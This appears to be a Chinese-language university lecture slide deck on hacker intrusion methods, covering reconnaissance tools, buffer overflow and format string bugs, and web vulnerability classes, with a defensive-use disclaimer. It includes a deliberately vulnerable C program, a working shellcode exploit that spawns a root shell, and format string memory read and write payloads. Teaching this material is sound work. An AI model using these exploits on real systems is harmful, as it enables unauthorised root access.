870 likes | 1.18k Views
師範大學 駭客入侵手法剖析. 大綱. 前言 入侵過程簡介 系統程式弱點分析 Web 攻擊手法剖析 問題與討論. 關於我. OuTian <outian@mail.outian.net> 現任 敦陽科技 資安服務處 資安顧問 經歷 – 2007/2008/2009 台灣駭客年會講師、發表 0day 多次政府、金融、電信、教育、企業單位之滲透測試服務 資安事件處理與蒐證 資安設備規劃與建置 認證 – CEH (Certified Ethical Hacker). 前言. 聲明.
E N D
大綱 • 前言 • 入侵過程簡介 • 系統程式弱點分析 • Web 攻擊手法剖析 • 問題與討論
關於我 • OuTian <outian@mail.outian.net> • 現任 敦陽科技資安服務處 資安顧問 • 經歷 – • 2007/2008/2009 台灣駭客年會講師、發表0day • 多次政府、金融、電信、教育、企業單位之滲透測試服務 • 資安事件處理與蒐證 • 資安設備規劃與建置 • 認證 – • CEH (Certified Ethical Hacker)
聲明 • 本系列課程內容,僅用於瞭解攻擊手法以利進行防禦部署,若有任何學員以之進行非法活動,一切行為與本人及主辦單位無關,由學員自行負責。
一般入侵過程 資訊收集 弱點探測 侵入系統 提升權限 收集資料 植入後門
資訊收集 • 主機搜尋 • ICMP、TCP scan • Zone Transfer • Google、Bing • 服務掃描 ( Port Scan ) • nmap、Superscan、amap、scanrand • FIN, Xmas , or Null scan • 網路架構探測 • traceroute、tcptraceroute、paratrace • 作業系統判斷 • xprobe、p0f、nmap • 由 TCP Fingerprint 辨識系統
弱點探測 • 人為判斷 • 服務弱點掃描工具 • Nessus OpenVAS • ISS Internet Scanner • Foundstone FoundScan • Dragonsoft Vulnerability Scanner • 網頁弱點掃描工具 • HP WebInspect • IBM AppScan • Acunetix Web Vulnerabilisy Scanner • Jsky • WebCruiser • skipfish
侵入系統 利用 Web 應用程式的漏洞 利用服務本身的弱點 Brute Force Attack Sniff Session Hijacking Man-in-the-Middle Social Engineering
提升權限 crack password vulnerable program/service.buffer overflow (stack/heap).format string.race condition.design error Kernel Exploit Brute Force Attack
收集資料 破解使用者密碼 修改登入頁面取得密碼 啟動 sniffer 竊聽密碼 "備份資料" 繼續尋找並攻擊內部網路中其他機器
植入後門 • 後門程式 • IRCbot • TCP proxy • 植入Rookit • 隱藏蹤跡及保留存取權限的工具"組“ • 修改log紀錄 • 置換系統工具 • 後門程式
常見系統程式弱點 • Buffer Overflow • Format String
Buffer Overflow 簡介 • 最常見的 Internet 攻擊手法 • CERT (Computer Security incident Report Team) 中超過 50% 的 Security Advisory 屬於於此分類 • 著名案例 • Morris worm (1988): fingerd • 感染超過 6,000 部主機 • CodeRed (2001): MS-IIS server • 14 小時內,超過 300,000 部主機受感染 • SQL Slammer (2003): MS-SQL server • 10 分鐘內,超過 75,000 部主機受感染
Buffer Overflow 常發生於 • 以 C 語言開發之各類 • kernel • 系統程式 • 應用程式 • 網路服務程式 • cgi 網頁應用程式 • 以 C 語言所開發之程式語言編譯器/直譯器 • php • perl • … etc
Buffer Overflow 可以用來? • 改變應用程式執行過程 • 引發程式不可預期行為而遭關閉 • Denial Of Service • 注入 shell code 以執行任意指令 • 植入後門 • 提升權限 • 關閉服務 • ………etc
Buffer Overflow 的分類 • 攻擊位置 • Local • 攻擊本機之應用程式 • Remote • 利用網路封包攻擊遠端之服務 • 攻擊方式 • Stack Overflow • 靜態配置的記憶體空間 • Heap Overflow • 程式執行階段動態配置的空間
什麼是 Buffer Overflow?(1) • 什麼是 Buffer ? • 電腦主記憶體裡之暫存區,用以儲存程式裡之靜態/動態資料 • 在程式中長得像這樣: • char buffer[15]; • Buffer 的種類 • 原始碼中靜態宣告 • 程式執行期間動態配置,利用 Stack 空間 malloc() • 什麼是Stack? • 電腦程式在執行期間所需要的一塊記憶體,由處理器支援其運作,遵循後進先出規則。
什麼是 Buffer Overflow?(2) • 什麼是Buffer Overflow? • 程式中在寫入Buffer的時候,超出預先配置的大小。 • 發生這種狀況的時候,有可能: • 沒事。 • 複寫到其他變數中的資料,使程式結果錯誤 • 複寫到其他變數的指標,發生存取錯誤。 • 複寫了返回位置,當副程式結束時當掉。
什麼是 Buffer Overflow?(3) • 令我們感興趣的狀況: • 動態變數(buffer)配置於堆疊區。 • 複製過長的資料會發生Buffer Overflow • 經由Buffer Overflow能夠改變程式的返回位置 • 堆疊區在系統記憶體中是可執行的 • 能夠在堆疊區插入一段程式碼,並改變原程式的流程,執行我們插入的程式碼。
什麼是 Buffer Overflow?(4) • 常發生於以下 C 語言函式中 • memcpy() • strcpy() • strcat() • sprintf() • vsprintf() • gets() • scanf()
什麼是 Buffer Overflow?(5) • 正常的 strcpy() 動作
什麼是 Buffer Overflow?(6) • Buffer Overflow 攻擊時
觀察記憶體內容 • Windows • WinDbg • OllyDbg • UNIX • gdb • ddd • Evan's Debugger
有弱點的程式 • #include <stdio.h> • #include <stdlib.h> • #include <string.h> • int main(int argc, char *argv[] ) { • char name[256]; • if( argc == 1 ) { • printf("Usage: %s name\n", argv[0] ); • exit(0); • } • strcpy( name , argv[1] ); • printf("Hello %s !\n", name ); • }
執行時 • 輸入過長參數會導致Segmentation Fault
測試 buffer 大小 • ./bof `perl -e 'print "A"x268'` • 替換 x 後方數字直到產生 Segmentation Fault
找出 buffer 之起始位址 • 印出記憶體位址內容
進行 Buffer Overflow Attack ! • 填入buffer overflow的template – • [NOP] + [Shell Code] + [NOP] + [RET Addr] • [RET Addr]需依實際狀況調整 • ./bof `perl -e 'print "\x90"x208 . "\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80" . "\x90"x30 . "\x60\xf8\xff\xbf"
攻擊成功! • 利用setuid root之程式,進行Buffer Overflow執行/bin/sh後,跳出原程式進入shell,並取得root權限
ASLR Implementation • Linux • > kernel 2.6.12 • kernel.randomize_va_space • Microsoft Windows • Windows Vista 64bits • Windows Server 2008 • OpenBSD • Mac OS • > 10.5 (Not Fully Implementing)
取得 stack pointer • #include <stdio.h> • unsigned long get_sp(void) { • __asm__("movl %esp, %eax"); • } • int main() { • printf("Stack pointer (ESP): 0x%x\n", get_sp() ); • return 0; • }
kernel.randomize_va_space 不變 不斷改變 不變
Exec Shield • Windows (DEP) • Windows XP • RedHat Linux • > Fedora Core 1 • > RHEL 3 update 3 • kernel.exec-shield • Solaris • > Solaris 9 • In /etc/system • Set noexec_user_stack=1 • Set noexec_user_stack_log=1
Format String 簡介 • Format String(格式化字串)用於C語言中之許多函式 • *printf( format string , variable list) • printf • fprintf • sprintf • vprintf • vfprintf • vsprintf • *scanf( format string , address list)
Sample Code • Vulnerable #include <stdio.h> int main(int argc, char *argv[] ) { printf( argv[1] ); } • Safe #include <stdio.h> int main(int argc, char *argv[] ) { printf( “%s” , argv[1] ); }
著名案例 • Danger discovered in June 2000. • Examples: • wu-ftpd 2.* : remote root. • Linux rpc.statd: remote root • IRIX telnetd: remote root • BSD chpass: local root
Exploit • Dumping arbitrary memory • ./fs '%08x.%08x.%08x.%08x|%s|' • Writing arbitrary memory • ./fs '%08x.%08x.%08x.%08x.%n'
Overflow using Format String • char errmsg[512], outbuf[512]; • sprintf (errmsg, “Illegal command: %400s”, user); • sprintf( outbuf, errmsg ); • When user = “%500d <nops> <shellcode>” • Bypass “%400s” limitation. • Will ovreflow outbuf.
常見 Web 應用程式弱點 (1) • 程式過濾不當 • SQL Injection • 竊取資料、入侵網站 • Cross Site Scripting • 利用網站弱點竊取其他用戶資料 • Arbitrary File Inclusion • 入侵網站 • Code/Command Injection • 入侵網站 • Directory Traversal • 瀏覽敏感資訊檔案 • Buffer Overflow • 入侵網站主機
常見 Web 應用程式弱點 (2) • 邏輯設計不當 • Cookie Poisoning • 變換身份、提升權限 • Parameter Tampering • 竄改參數,使應用程式出現不可預期反應 • Upload File Mis-Handling • 植入網站木馬 • Information Disclosure • 洩露網站資訊 • Error Handling • Weak Authentication • 脆弱的認證機制